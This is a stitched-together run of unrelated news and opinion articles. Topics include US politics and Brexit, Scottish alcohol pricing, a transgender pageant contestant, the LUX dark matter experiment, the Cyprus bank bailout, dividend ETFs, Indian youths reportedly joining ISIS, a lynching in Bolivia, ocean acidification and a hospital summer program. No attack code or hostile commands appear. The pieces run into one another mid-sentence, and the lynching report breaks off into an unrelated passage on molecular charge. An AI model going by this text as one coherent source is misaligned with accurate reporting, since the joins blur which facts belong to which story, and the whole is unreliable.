Seib points out that George W. Bush set a significant precedent getting foreigners accustomed to strange US presidents. “People overseas saw him as a wild cowboy.” But, he adds, “Trump takes that to an entirely different level.”
Of course, as a Brit, I’m one to talk. Brexit, in my view, is just as stupid and destructive a decision as electing Trump would be. When my home country voted to leave the European Union, it revealed the previously overlooked levels of xenophobia within the UK. Should the US opt for Clinton, the rest of the world will undoubtedly breathe a sigh of relief, acknowledging that, really, Americans aren’t so bad after all. But if President Trump does become reality, it would only reinforce the stereotype of the US as the boisterous, overgrown buffoon of the international stage.It looks as though the Dec. 8 game between the Nets and Cavaliers at Barclays Center in Brooklyn will have some royal flair.
And we're not just talking about King James.
Prince William and Princess Kate, who will be in the United States from Dec. 7-9, plan to attend the game, according to a news release issued by the British government.
"On Monday evening, Their Royal Highnesses will attend an NBA basketball game to help launch a new collaboration between the Royal Foundation, United for Wildlife and the NBA," the release states.
The couple will be in New York City at the time, the first visit to the city for both. They also will visit the Sept. 11 memorial.
It is the couple's first official visit to the country since spending time in California in 2011.
Maybe the biggest cheers of the night won't be reserved for LeBron James or Deron Williams, after all.Media playback is unsupported on your device Media caption Countries in the European Union object to the Scottish government's minimum pricing for alcohol policy
Questions have been raised over whether Scottish government plans to introduce a minimum price per unit of alcohol are compatible with European law.
The measure was passed by MSPs earlier this year but led to a formal complaint by the Scotch Whisky Association.
Five EU countries have now raised concerns that the proposal may infringe free trade rules.
The Scottish government said it remained confident the reform was compatible with EU law.
However, the Scotch Whisky Association said the plans infringed European competition treaties.
The countries which appeared to back the group are France, Italy, Spain, Portugal and Bulgaria, all of which are significant wine producers.
Each have lodged "detailed opinions" against the plans to the European Commission. Another eight counties are said to have "made comments".
'No surprise'
In a statement, the EU Commission said the content was confidential but "what we can say is we have a problem with the compatibility of minimum pricing plans under community law".
The Scottish government said it was not surprised that there had been objections.
This is clearly about trade across Europe and I'm not surprised so many countries have raised concerns Campbell Evans, Scotch Whisky Association
Health Secretary Alex Neil said: "The European Commission is in favour of addressing alcohol abuse and have asked us to consider their points, which we will.
"We are confident that we can demonstrate that minimum pricing is justified on the basis of public health and social grounds and I will continue to press the case for minimum pricing in the strongest possible terms.
"We will respond to the EC by the deadline of 27 December."
Scottish Conservative health spokesman Jackson Carlaw said it was "extremely disappointing" the Scottish government had continued to insist minimum pricing was legally competent when it seems not to be the case.
He added: "We want minimum pricing to work, and we gave our support on the condition it would be legally sound and that it could be dropped in future years if it wasn't working.
"We await to see what will happen now, but any legal challenge in the European courts could be both costly to Holyrood and cause significant delays. But it is better to address these legal issues now than several years down the line."
Campbell Evans, of the Scotch Whisky Association, said: "For 30 years the European Court has said minimum pricing is illegal, we are disappointed it has gone this far.
"We would like to have worked with the government to tackle alcohol misuse, and hopefully we will work together in partnership.
"This is clearly about trade across Europe and I'm not surprised so many countries have raised concerns."Jenna Talackova is a Canadian model and television personality, who gained media attention in 2012 when she successfully waged a legal battle to be allowed to compete in the Miss Universe Canada after being initially disqualified for being transgender.[1][2]
Early life [ edit ]
Talackova was born and raised in Vancouver, British Columbia.[1] Her father is Czech,[3] and her mother is a member of the Babine First Nation, from the Lake Babine Nation in British Columbia.[4]
She experienced gender dysphoria beginning in early childhood, and began her gender transition at age 14, while attending Vancouver's Killarney Secondary School,[4] before completing her sex reassignment surgery at 19.[1] She initially took the name Paige when she began transitioning, before changing it again to Jenna.[4]
Talackova is currently a student of holistic nutrition.[1]
Miss Universe Canada [ edit ]
After previously competing in the 2010 Miss International Queen pageant for transgender and transsexual women in Thailand,[5] Talackova registered to compete in Miss Universe Canada 2012.[6] Sources are in conflict as to whether she identified herself as transgender on her application; however, after she was selected as one of the Top 65 applicants who would proceed to the pageant, a person who recognized her from Miss International Queen contacted the Miss Universe Canada organizers, and the organization then disqualified Talackova on the grounds that the pageant rules required its competitors to be "naturally born" women.[5]
Talackova subsequently contacted lawyer Gloria Allred, who took on the case and challenged the pageant organizers, including future president Donald Trump in his capacity as owner of the international Miss Universe organization, to reverse the decision and allow Talackova to compete.[7] The organization reversed its decision before the case reached the courts, with Trump's office issuing a statement that "[a]s long as she meets the standards of legal gender recognition requirements of Canada, which we understand that she does, Jenna Talackova is free to compete in the 2012 Miss Universe Canada pageant."[6]
At the pageant on May 19, 2012, Talackova made it into the Top 12, but failed to reach the Top 5.[8] She was, however, one of four contestants awarded the title of Miss Congeniality.[8]
Talackova was named co-grand marshal of the 2012 Vancouver Pride Parade in recognition of her fight to be in the Miss Universe pageant.[9]
Television [ edit ]
A reality show based around her life, Brave New Girls, was filmed in summer 2013 as Talackova moved to Toronto to pursue a modeling career.[10] The series, produced by Peacock Alley Entertainment, premiered on E! Canada in January 2014.[11]
Personal life [ edit ]
Talackova is a vegan and appeared in a PETA ad campaign promoting the diet.[12]LEAD, S.D. – The Large Underground Xenon (LUX) dark matter experiment, which operates nearly a mile underground at the Sanford Underground Research Facility (SURF) in the Black Hills of South Dakota, has already proven itself to be the most sensitive dark matter detector in the world. Now, a new set of calibration techniques employed by LUX scientists has further improved its sensitivity.
LUX researchers, including several from Lawrence Livermore National Laboratory’s (LLNL) Rare Event Detection Group, are looking for WIMPs, weakly interacting massive particles, which are among the leading candidates for dark matter.
LLNL is one of the founding members of the LUX experiment, and LLNL researchers have participated in LUX and its predecessor experiment (XENON-10) since 2004.
“It is vital that we continue to push the capabilities of our detector in the search for the elusive dark matter particles,” said Rick Gaitskell, professor of physics at Brown University and co-spokesperson for the LUX experiment. “We have improved the sensitivity of LUX by more than a factor of 20 for low-mass dark matter particles, significantly enhancing our ability to look for WIMPs.”
The new research is described in a paper submitted to Physical Review Letters and posted to ArXiv. The work re-examines data collected during LUX’s first experimental run in 2013, and helps to rule out the possibility of dark matter detections at low-mass ranges where other experiments had previously reported potential detections.
“The latest LUX science results are a re-analysis of data obtained over three months in 2013,” said LLNL principal investigator and physicist Adam Bernstein. “The first analysis of that data was published in 2014, and since then we have expanded our understanding of the detector response through a combination of low-energy nuclear recoil measurements, low-energy electron recoil measurements and an improved understanding of our background in the low-energy recoil regime where dark matter interactions are likely to appear.
“This combination of improvements enabled us to increase our sensitivity to low-mass WIMPs by upward of two orders of magnitude. LUX is currently in a longer science run lasting 300 live days, scheduled for completion by this July,” Bernstein added.
Dark matter is thought to be the dominant form of matter in the universe. Scientists are confident in its existence because its gravitational effects can be seen in the rotation of galaxies and in the way light bends as it travels through the universe. Because WIMPs are thought to interact with other matter only on very rare occasions, they have yet to be detected directly.
"We have looked for dark matter particles during the experiment's first three-month run, but are exploiting new calibration techniques that do a better job of pinning down how they would appear to our detector,” said Alastair Currie of Imperial College London. "These calibrations have deepened our understanding of the response of xenon to dark matter, and to backgrounds. This allows us to search, with improved confidence, for particles that we hadn't previously known would be visible to LUX."
Bernstein and other LLNL researchers have taken part in initial science planning and experimental design for LUX. Physicist Peter Sorensen, formerly with LLNL and now at Lawrence Berkeley National Laboratory, spent many months with on-site assembly and commissioning, and has made key contributions to the study of the low-mass WIMP signal.
Physicist Kareem Kazkaz, who works in the LLNL Rare Event Detection Group, created the LUXSim simulation framework, which has been used throughout the collaboration to understand detector response and increase the team’s understanding of signal backgrounds and how the liquid xenon medium responds to incident radiation.
More recently, LLNL graduate scholar Brian Lenardo has served as the deputy science coordination manager and has been an integral member of the team studying the light and charge yield of nuclear recoils within the active volume. Joining LLNL in September, postdoctoral fellow Jingke Xu has organized a sub-group focused on events at the single electron quantum limit of detector sensitivity.
LUX consists of a third of a ton of liquid xenon surrounded with sensitive light detectors. It is designed to identify the very rare occasions when a dark matter particle collides with a xenon atom inside the detector. When a collision happens, the xenon atom will recoil and emit a small burst of light, which is detected by LUX’s light sensors. The detector’s location at Sanford Lab beneath a mile of rock helps to shield it from cosmic rays and other radiation that would interfere with the dark matter signal.
So far, LUX hasn’t detected a dark matter signal, but its exquisite sensitivity has allowed scientists to all but rule out dark matter particles over a wide range of masses that current theories allow. These new calibrations increase that sensitivity even further.
One calibration technique used neutrons as stand-ins for dark matter particles. Bouncing neutrons off the xenon atoms allows scientists to quantify how the LUX detector responds to the recoil process.
“It is like a giant game of pool with a neutron as the cue ball and the xenon atoms as the stripes and solids,” Gaitskell said. “We can track the neutron to deduce the details of the xenon recoil, and calibrate the response of LUX better than anything previously possible.”
The nature of the interaction between neutrons and xenon atoms is thought to be very similar to the interaction between dark matter and xenon. “It’s just that dark matter particles interact very much more weakly -- about a million-million-million-million times more weakly,” Gaitskell said.
The neutron experiments help to calibrate the detector for interactions with the xenon nucleus. But LUX scientists also have calibrated the detector’s response to the deposition of small amounts of energy by struck atomic electrons. That’s done by injecting tritiated methane – a radioactive gas – into the detector.
"In a typical science run, most of what LUX sees are background electron recoil events,” said Carter Hall of the University of Maryland. "Tritiated methane is a convenient source of similar events, and we've now studied hundreds of thousands of its decays in LUX. This gives us confidence that we won't mistake these garden variety events for dark matter."
Another radioactive gas, krypton, was injected to help scientists distinguish between signals produced by ambient radioactivity and a potential dark matter signal.
“The krypton mixes uniformly in the liquid xenon and emits radiation with a known, specific energy, but then quickly decays away to a stable, nonradioactive Isotope, ” said Dan McKinsey, a University of California Berkeley physics professor and co-spokesperson for LUX, who also is an affiliate of Lawrence Berkeley National Laboratory. “By measuring the light and charge produced by these krypton events throughout the liquid xenon, we can flat-field the detector’s response, allowing better separation of dark matter events from natural radioactivity.”
LUX improvements coupled to the advanced computer simulations at Lawrence Berkeley National Laboratory’s National Energy Research Scientific Computing Center and Brown University’s Center for Computation and Visualization have allowed scientists to test additional particle models of dark matter that can be excluded from the search. “And so the search continues,” McKinsey said.
“LUX is once again in search mode at Sanford Lab. The latest run began in late 2014 and is expected to continue until June 2016. This run will represent an increase in exposure of more than four times compared to the previous 2013 run. We will be very excited to see if any dark matter particles have shown themselves in the new data.”
The LUX scientific collaboration, which is supported by the DOE and National Science Foundation, includes 19 research universities and national laboratories in the United States, the United Kingdom and Portugal.
“The global search for dark matter aims to answer one of the biggest questions about the makeup of our universe. We’re proud to support the LUX collaboration and congratulate them on achieving an even greater level of sensitivity,” said Mike Headley, executive director of the SDSTA.Stephane Sarrazin has moved to Techeetah for the rest of the season from Venturi to replace Esteban Gutierrez, with Tom Dillmann stepping into the Venturi stalwart’s shoes.
The official statement reads:
The Frenchman with a legal Venturi deal for the current season will be released for the rest of the season to race for Techeetah. The race seat at the Renault customer team became available as their driver Esteban Gutierrez replaces the injured IndyCar driver Sebastien Bourdais.
As a result of last minute negotiations, Venturi agreed on Stephane Sarrazin to finish the running Season 3 with the Renault customer team. Sarrazin has been a Venturi driver since the Formula E debut season.
Consequence of these driver switches is Tom Dillmann’s next chance at Venturi. In his Formula E debut race in Paris last month, the Frenchman delivered in fine style to finish eighth and scored important championship points for the team.Robotics and factory automation systems are being adopted around the world. This system was designed by Milwaukee-based Rockwell Automation. Credit: Photo contributed by Rockwell Automation
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A new industrial revolution is coming.
American factory workers will soon be replaced by sophisticated robots, and this threatens the economic well-being of future generations — or so we're told.
Fear not. Far from dismantling the American workforce, new labor-saving technologies are instead poised to serve as vital engines of job-creation and economic growth for years to come — if leaders prepare our state to take advantage of them.
For proof, just look to the agriculture industry, a sector that has thrived in recent decades thanks to productivity boosting machines. This revolution in American farming hasn't only benefited farmers. It's also generated well-paying jobs throughout the economy — including right here in Wisconsin.
The prevailing views about automation are more than misguided.
On the surface, gloomy predictions about automation appear sensible. Once robots can outperform factory workers, it seems only a matter of time before manufacturing labor becomes obsolete.
For example, Nevada allowed the first driverless eighteen-wheelers to cruise its highways last month. It's easy to imagine a future where automated semis make truck drivers a thing of the past.
What such analyses fail to consider, however, is that automation and information technologies don't merely replace old forms of human labor. By boosting productivity and creating demand for new forms of human work, these advances actually drive job growth across the economy.
Known as the "multiplier effect," this principle can be seen in Wisconsin's agriculture industry.
Automating farm work has caused agricultural productivity to skyrocket. In 1950, one American farmer produced enough food to feed only 27 people. On today's increasingly mechanized farms, a single farmer feeds 155 people around the world each year — an increase of 474%. And that number continues to grow. Thanks to labor-saving farm equipment, food is cheaper and more abundant than ever before.
America has earned its status as the world's breadbasket thanks to this aggressive adoption of automated technologies. No farmer wants to get rid of his John Deere combine and cut each corn stalk by hand. In fact, farmers may soon embrace driverless John Deere tractors that can tirelessly, and more safely, operate around the clock at peak planting and harvesting times.
It's certainly true that agricultural mechanization has reduced the demand for farmworkers. But it also has given rise to countless new jobs in related industries, from seed suppliers to agricultural scientists to crop insurance agents.
Of the more than 413,000 state jobs supported by Wisconsin's agriculture industry, fewer than 106,000 are directly tied to on-farm activities. It's a ratio of almost three non-farm jobs for every single farm job.
That isn't the case in the U.S. manufacturing sector. More than 12 million Americans are employed directly in manufacturing, but the industry only supports an estimated 5.6 million nonmanufacturing jobs. That's a ratio of less than half of one support job for every factory job.
If that multiplier ratio matched farming's ratio of three to one, the industry would need almost 30 million new support jobs.
This multiplier effect is already apparent in the most advanced manufacturing industries today. Consider computer-chip making. The multiplier effect for a factory job can be as high as six to one. So every high-tech manufacturing job supports up to six jobs elsewhere in the economy.
Fortunately, the public is beginning to see the value of automation. A recent CNBC poll found that a majority of those surveyed believed that the economic benefits of technology outweigh the costs.
Yet skeptics see productivity enhancing tools as bearers of bad economic news while proponents in other nations know the opposite is true: Automation is an indicator of coming growth.
Consider recent developments in China — a country whose GDP recently eclipsed the United States', according to the International Monetary Fund.
Over the last couple of years, China has started to invest heavily in automating its manufacturing sector. It is currently the biggest market for factory robots in the world, with sales growing by an astonishing 36% last year. In one province alone, manufacturers plan to replace human labor on an unprecedented scale in the next three years driven by $154 billion in government subsidies. The International Federation of Robotics estimates that China will possess a majority of the world's factory robots by 2017.
That will be a giant leap since China has only three robots for every 1,000 workers today compared with the United States, which has 15 robots for every 1,000 workers. But Germany and Japan currently have one robot per 30 to 40 workers and South Korea has a robot for every 20 workers.
China's rapid transition to automated factories along with the rest of the world is the clearest sign yet that when it comes to industries such as manufacturing, productivity enhancing machines and smart factories may soon be a basic requirement for competing in the global economy.
Given its potential impact on our country's prosperity and way of life, we must embrace the benefits of automation. If we don't, our economic rivals may beat us to the punch.
Earlier this month, the Milwaukee Journal Sentinel reported that a group of local economic strategists want to create a Midwest Smart Manufacturing Institute. But the article generated a paltry response from readers. That must change. Lawmakers and all Milwaukeeans must recognize the vital need to modernize our state's manufacturing base.
With smart public policies that help manufacturers automate, Milwaukee can restore its historic reputation as a community that both "feeds and supplies the world." That would create thousands of new jobs to support, service and supply the next generation of smart manufacturing.
John A. Bernaden is director of corporate affairs at Rockwell Automation and vice chairman of the Smart Manufacturing Leadership Coalition, Inc., in Washington, D.C.Under the arrangement, depositors in Bank of Cyprus will receive shares in the lender worth 37.5pc of any savings over €100,000, while the rest may never be paid back, according to a statement from the Cypriot central bank.
Of the 62.5pc of uninsured deposits not converted to bank shares, 22.5pc will be frozen in non-interest accruing accounts until the restructuring plan is completed, which could take months, and 40pc will continue to accrue interest but will not be repaid unless the bank does well.
Government figures, including finance minister Michalis Sarris and central bank governor Panicos Demetriades, had previously indicated that depositors in the island's largest lender would lose around 40pc of their uninsured savings as part of an 11th hour agreement reached in Brussels in the early hours of Monday.
Meanwhile, account holders in Laiki Bank, the country's second largest, stand to lose up to 80pc of their money as the lender is wound down and insured deposits transferred to Bank of Cyprus.
The harsher-than-expected terms on the Bank of Cyprus' largest depositors are likely to provoke further anger among Cypriots, who face sharp economic decline with the contraction of their dominant banking sector.
Cypriot President Nicos Anastasiades, who has been in the job barely a month, said the risk of bankruptcy had been contained thanks to the bail-out but accused the 17-nation euro currency bloc of making "unprecedented demands that forced Cyprus to become an experiment".
Amid a debate in Cyprus about a possible exit from the euro and a return to the Cypriot pound, the president said: "We have no intention of leaving the euro. In no way will we experiment with the future of our country."
President Anastasiades said unprecedented restrictions imposed on bank transactions in Cyprus would be “gradually eased”.
The Central Bank of Cyprus later announced that there would be no limits on debit and credit card transactions or money transfers made inside the country, adding it will attempt to "refine or relax" its set of strict capital controls on a daily basis.
Overseas transactions would still be limited to €5,000, however, and daily cash withdrawals are capped at €300.
The government initially said the capital controls would stay in place for seven days, but Ioannis Kasoulides, the foreign minister, said on Thursday they could last "about a month".
Many economists believe the government may be compelled to leave the restrictions in place for months or even years.
They point out that capital controls introduced in Iceland in 2008 to cope with its banking and economic crisis are still in place today.
The president said the immediate threat of bankruptcy had been thwarted. "The situation, despite the tragedy of it all, is contained," he said.
But he conceded that the bailout deal would prove “painful”.
"Everyone will have to make sacrifices as our financial situation, in the violent way in which it has developed, will oblige all of us to share the burden," he said.
There has been debate in Cyprus over whether the country would be better off leaving the euro and returning to its old currency, the Cypriot pound.
Earlier this week the head of the Orthodox Church in Cyprus said the euro was doomed and Cyprus would be better off going it alone.
“The euro cannot last. I’m not saying that it will crumble tomorrow but with the brains that they have in Brussels, it is certain that it will not last in the long term, and the best thing is to think about how to escape it,” said Archbishop Chrysostomos II.
But most bankers, business lobbies and politicians are opposed to the idea.
Andreas Pittas, a prominent businessman who owns a large pharmaceutical company, said a return to the pound would be disastrous. “It would simply ruin the business world of Cyprus. It would simply kill the economy,” he told The Cyprus Weekly newspaper.
Alexis Antoniades, an economist from Princeton University, said that returning to the Cyprus pound would be a problem because as an island, Cyprus imports most of its goods, and they would become more expensive.
But he said it should not be ruled out altogether. “Maybe defaulting on its euro debts and going solo with the Cypriot pound will help the economy regain its competitiveness and start from a clean slate. Going back to an independent currency may be the least painful of the various difficult operations.”
Banks opened as normal yesterday, a day after they had reopened after being shut for nearly two weeks to avert a run on deposits.
Outside a branch of Laiki Bank in Nicosia, Doros Kakas, a 50-year-old businessman who lived in London for more than 20 years, said he was one of the fortunate ones, having moved most of his savings to the UK some time ago.
“I’m lucky. Some people in Laiki have lost everything. I’m worried that Spain and Italy will go the way of Cyprus. Then what happens to France, Germany, England? Are we all going down?”This is a guest contribution written by Ben Reynolds at Sure Dividend. Sure Dividend uses The 8 Rules of Dividend Investing to build high-quality dividend growth portfolios.
Regular readers of Smart Money Today are very familiar with good ETFs over the next decade, and ETF investing in general.
Dividend investing has slowly returned to popularity. The idea that your investments should actually pay you is not new. With more and more baby boomers retiring, dividend investing’s popularity will likely continue.
Many dividend investors are looking for income now. To this end, they look for high yield dividend stocks and ETFs.
Not surprisingly, there are a wide variety of high yield dividend ETFs that meet this demand.
The number and type of ETFs focused on dividend investing has grown significantly over the last decade.
This article takes a look specifically at high dividend focused ETFs for investors looking to add greater current or future income potential to their portfolios.
High Yield Dividend ETFs
A list of the most popular (based on AUM) high dividend ETfs is below:
iShares High Dividend Equity (HDV) with a 3.5% dividend yield
PowerShares S&P 500 High Dividend (SPHD) with a 3.4% dividend yield
Vanguard High Dividend Yield (VYM) with a 3.1% dividend yield
Note: AUM stands for Assets Under Management
Total returns (including dividends) over the last 3 years for these 3 stocks are shown below. For comparison, the S&P 500 had total returns of 33.1% over the same time period:
HDV: 30.5% Total returns over the last 3 years
VYM: 32.9% Total returns over the last 3 years
SPHD: 49.7% Total returns over the last 3 years
Note: Total return data from ETF Replay
Clearly, the SPHD has performed significantly better than its peers (and the market) over the last several years. Past performance is certainly no guarantee of future success, but it is interesting to see why the ETF performed better.
Here’s how SPHD is constructed (according to its prospectus):
The highest 75 yielding stocks in the S&P 500 are found The 50 lowest volatility stocks out of these 75 are selected These 50 stocks are weighted based on their dividend yields
For comparison, the portfolio construction rules of the other 2 ETFs are shown below.
HDV’s investment style is much less transparent. Here’s a quote from the fund’s prospectus:
“The Fund seeks to track the investment results of the Morningstar® Dividend Yield Focus Index (the “Underlying Index”), which offers exposure to high quality U.S.-domiciled companies that have had strong financial health and an ability to sustain above average dividend payouts.”
Unfortunately, the exact methodology that Morningstar uses to create its Morningstar Dividend Yield Focus Index is proprietary. This means we don’t know the exact factors that go into the strategy. The strategy has not worked particularly well over the last 3 years, as it has underperformed the S&P 500 (whatever the exact strategy may be).
VYM’s stated goal is to track the performance of the FTSE High Dividend Yield Index. I could not locate the exact methodology of the FTSE High Dividend Yield Index. It appears to invest in the top 50% or so of high dividend stocks in (or around the same market cap size) the S&P 500.
Not only has SPHD outperformed significantly over the last 3 years, it is also the most transparent in its methodology. The ETF uses a very simple ranking system to find high yielding stocks. It uses volatility as a proxy for risk to weed out the ‘riskiest’ 25 of high yielding stocks in its universe. What’s left is a high yielding portfolio that at least attempts to reduce risk.
Looking at HDV’s yield, it must take a somewhat similar approach. HDV holds 79 stocks, but is far from equally weighted. HDV’s top 10 holdings account for over 50% of the ETFs total holdings by dollar value. For comparison, SPHD’s top 10 holdings hold just 27.5% of the fund’s value.
Vanguard’s VYM is very widely diversified. It holds 428 different stocks. With that said, the Top 10 holdings account for 32% of total holdings by dollar value.
Last but not least, one should consider ETF fees. The expense ratios for these 3 ETFs are listed below:
HDV has an expense ratio of 0.12%
VYM has an expense ratio of 0.09%
SPHD has an expense ratio of 0.35%
Both HDV and VYM are very cheap. SPHD is still relatively inexpensive with an expense ratio of 0.35%. To put that into perspective, every $1,000 invested in SPHD costs $3.50 a year in management fees.
Final Thoughts
When considering high dividend yield ETFs, I believe SPHD stands out due to its clear investment methodology, focus on only 50 stocks (instead of 100’s), high dividend yield, and excellent historical performance.
There is more to dividend investing than just yield; much more. For those interested in more than only high yielding dividend ETFs, see my article on the best dividend ETFs.
When evaluating dividend ETFs, there is no one factor that should be examined. Rather, a mix of information should be gathered and compared before making an investment. Several key dividend ETF investing questions to ask are below:
Is the investment methodology straightforward?
Does it match what I’m looking for?
Is the expense ratio reasonably low?
How long has the fund been around?
How big is the fund (how much AUM)?
What is the turnover ratio?
How good/bad is historical performance?
The investment methodology should line up with what you want the fund to do. As an example, don’t expect a dividend growth fund to give you high current income.
The lower the expense ratio, the better – always. Similarly, a lower turnover ratio implies greater efficiency as management does not have to continuously trade the portfolio, which will run up the expense ratio.
Larger funds that have been around a long time are likely to continue to exist. ETFs can close, forcing you to liquidate your holdings.
Looking at historical performance is not perfect. If a fund has significantly outperformed or underperformed, it’s important to have an idea why to see if the performance is likely to continue.KALYAN/MUMBAI: The three youths from Kalyan, suspected to have joined the Islamic States of Iraq and Syria ( ISIS ), are expected to return home from Syria. This is what one of the youngsters, Shaheen Tanki, told his family when he called up on September 6, a relative of the Tankis, who asked not to be named, told TOI on Sunday.“For the time since he went missing, Shaheen (Tanki) spoke to his mother and brother. He said he’s perfectly fine and they should not worry about him,” said the relative.The four men, all in their early 20s, left for Iraq in the last week of May with a group of pilgrims, but disappeared mysteriously. Subsequently, they had called up their relatives to say that they had joined ISIS.A senior officer of the state Anti-Terrorism Squad told TOI that Tanki was very clear and coherent when he spoke of his impending return. “He told his mother that he would return to India along with his two other friends, Fahad Shaikh and Aman Tande, but did not give any time frame,”Meanwhile the security agencies say it would be difficult to prosecute these boys since they have not committed any crime in India. “Since the outfit they are allegedly working for is not banned in India, no action can be taken against them,” a source from security establishment said.One of Tanki’s relatives said that that was the first time Tanki spoke about return saying all three of them were fine and doing well in Syria. Tanki refused to divulge further details about the death of Majeed except ‘he was killed in a bombing’.The relative said, the family was relieved to hear the news and were happy.The family have shared information about calls to different investigation agencies like Anti Terrorism Squad, Intelligence Bureau, National Investigation Agency and local Thane police.From left to right: Aarif Majid, Aman Tandel, Saleem Tanki come from the same area around Ansari chowk in Kalyan. (TOI Photo)Earlier, on August 26, Tanki had called up his family and informed that his friend, Arif Majeed, who went along with them, was killed in a bombing in Raqqa city of Syria. “It was during this conversation that his mother broke down and literally begged over phone asking Tanki to return home,” the ATS officer said.The ATS which has so far qustioned over one and a half dozen people in this case said the boys cannot be booked under any section of the Unlawful Activities Prevention Act (UAPA). “We have no intention to prosecute them. However, their statements will be recorded and information on how they reached, who (mis)guided them will be extracted. It’s still not clear whether they joined ISIS or not. We don’t have any evidence for this too,” said the senior officer. He added that people are discussing about the boys and their alleged links with the ISIS but there is no way they can prove it right now. No look out circular (LOC) notice nether any red corner notice (RCN) was issued against them since it requires a suspects list of crimes and his dossier. There is no previous case against them. The ATS stated that it has no mindset to prosecute the boys but would want them to co-operate wit the police.In a hypothetical situation, say sources, the foreign agencies (agents) may arrive to question the boys to join the dots. “We cannot say whether they were indoctrinated or not. Once they arrive here, their statement will disclose everything and if someone found guilty of misguiding youth will also be brought under our radar,” said police sources.Tanki, a call centre employee and the three others engineering students, come from financially sound and educated families in Kalyan. August 26 was the day when one of them first indicated about their return. Overwhelmed and happy, the families chose not to speak about the call in detail until their children come back. Earlier, the youth during their conversations in June and July would deny coming back. In June, their families had lodged missing persons’ complaint with the Bazaar Peth police in Kalyan.Earlier, two youth had called up their families and said their families would go to heaven for the work the youth were doing. On August 28, an internet page claimed Majeed married a Palestinian girl and took part in several operations. However, there was no evidence of the written content.* May 24: Without informing to their parents, four youths from Kalyan leave for Iraq as part of a 42-member group of pilgrims. They vanish a day before the group is supposed to return* May 26: Their families file missing complaints with the local police station* July (last week): For the first time, two of the youths – Aarif Majid and Shaheen Tanki – call up their parents to say they are safe and whatever they are doing would take their families to heaven* July 28: Three of the youths call up their families to wish them for Eid.* August 26: Tanki calls up his relatives to inform them of Aarif Majid’s death in an air attack* September 6: Shaheen Tanki calls up to say that they plan to return to IndiaA man accused of raping and murdering a 4-year-old girl has been publicly lynched.
The alleged paedophile was arrested in Reyes, northern Bolivia after police found a missing girl's body earlier this week.
Furious locals refused to wait for his trial and took justice into their own hands.
Furious: Harrowing video footage shows the gang forcing the bars of the jail open
A mob stormed the police station and dragged the man into the street where locals hanged him on a tree.
Harrowing video footage |
not totally clear. One possibility, for which there is mounting evidence, is that as the pH drops the charge on the molecules changes. Many molecules are adorned with different chemical groups that have a tendency to either recruit or lose protons (hydrogen ions). A group may start with no net charge but if it gains a proton it will become positive, while one that has lost a proton will be negative. pH is basically a measure of the concentration of hydrogen ions in water. As pH drops, the proton concentration increases. This means there are more protons available to bind to those chemical groups that have either lost or like to gain hydrogen ions.
This in turn may alter the shape of a chemical. Imagine a long flexible molecule that is positive at one end and negative at the other. The opposite charges attract, bending the molecule. Now if that same chemical is placed in more acidic conditions the negative charge might be lost and so the flexible molecule will stay in an elongated shape. Smell and taste are chemical senses, where molecules dock into receptors, and this docking process is very sensitive to the charges and shapes of molecules. So through acidification the flavour of the ocean may be shifting.
There is one event in the Earth’s history that mirrors the rapid changes to our atmosphere and oceans. It gives us a taste of how ecosystems might react. At the end of the Permian period, 252 million years ago, massive volcanic eruptions in Siberia ejected huge quantities of CO2 into the atmosphere. Over 10,000 years, in the blink of a geological eye, the ocean’s pH dropped by 0.6 pH units. These events coincided with a mass extinction known as the Great Dying: 90% of marine life and 70% of land plants and animals vanished. 10,000 years was far too short a time for most life to adapt to the changing environment. What chance does it stand if similar changes occur over just 100 years?
Within the lifetime of a single fish, our Greenland shark, humanity has melted the ice sheets under which she swims and altered the chemistry of the planet’s oceans. She may even be able to smell these changes we have wrought on her environment.
One shark that lived before humanity had even discovered carbon dioxide has witnessed the unprecedented changes that our species has inflicted on the planet. She has witnessed the end of one geological era: the Holocene has drawn to a close. She will die in a new epoch, the Anthropocene, the age in which human activity will be the dominant factor on our pale blue dot.For 35 years, Children’s Hospital Oakland has been fast-tracking promising students into the sciences through a summer mentorship program.
Last Friday, in a typically no-nonsense symposium, the hospital presented this summer’s class describing their summer’s labors.
Teens still too young to vote displayed a familiarity with subjects likely foreign to most people.
Eleven students made oral presentations of their research and 32 more made poster presentations in the afternoon.
Tatiana Cheong, 17, a Holy Names High School senior, spent the summer working on three projects related to the prevalence of zinc deficiency, especially in developing countries.
“Zinc is very important to our bodies, especially our immune systems, metabolism and growth,” Cheong said in an interview.
Zinc deficiency is diagnosed by testing blood plasma, which can be expensive and difficult to store and transport in developing countries.
Cheong was working on finding solutions to collecting plasma so that data could be compiled to help shed light on the extent of zinc deficiency globally.
Zinc is found in meat and seafood or, for the vegans among us, nuts, she said. “We don’t need much but that doesn’t mean we can ignore it. Disease travels fast,” she said.
Cheong’s efforts have yet to produce a solution, she said, but the challenges encourage her “to continue to pursue this path to see if there’s more I can do.”
One of her Holy Names classmates, Melissa Cervantes, also 17, prepared a poster describing her nine weeks studying “Bone Quality by Trabecular Bone Score in Patients With Hemoglobinopathies.”
She won the best poster competition for a high school student.
“Being a part of CHORI was a great learning experience,” she said in an interview.
“I was able to explore my interest for science and get a feel for what it is like to be a real scientific researcher,” she said.
The summer research program at Children’s Hospital Oakland Research Institute focuses on boosting more students into STEM — science, technology, engineering and mathematics — studies.
It is the longest-running program of its kind, co-director Ellen Fung said in an interview, although Stanford University and other institutions have similar efforts.
The summer program is highly competitive, Fung said. This year’s class of 45 was selected from about 250 applicants, she said, all with GPAs well above 3.5, strong science backgrounds and internship experience.
But, she emphasized, “we’re also looking for the curious scientist. Not just the 3.8 students; one that’s done creative kinds of exploration, volunteered, been interested in the community.
“Science is not just about learning the science, but communicating what you’ve learned,” Fung said.
The program reflects the community UCSF Benioff Children’s Hospital Oakland serves.
“Usually, we have one or two who are or have been patients at the hospital,” she said.
“All of the students in the program are underrepresented minorities, low-income, first in their families to go to college,” Fung said.
Over the past decade, 31 percent of its students have been African-American, 21 percent Latino and 21 percent Asian-American. Fifteen percent have been white.
This year, female students made up 70 percent of the group, as they have fairly consistently for the past decade, Fung said.
The summer research program’s goal, Fung wrote in an email, is “to encourage and expose students from diverse backgrounds to career opportunities in basic, clinical and community based biomedical research by offering exposure to mentored research.”
Close to 80 percent of the summer program students go on to graduate level education.
“I loved the symposium. I was able to share my research findings and learn about the other students’ projects,” Cervantes said.
Contact Mark Hedin at 510-293-2452, 408-759-2132 or mhedin@bayareanewsgroup.com.Culver’s, the Wisconsin-based "Butter Burger" and custard chain with dozens of locations in the Chicago suburbs, plans to open its first restaurant in the city early next year.
The store is planned for 3500 N. Clark St., in Chicago's Wrigleyville neighborhood, a former Chase Bank location.
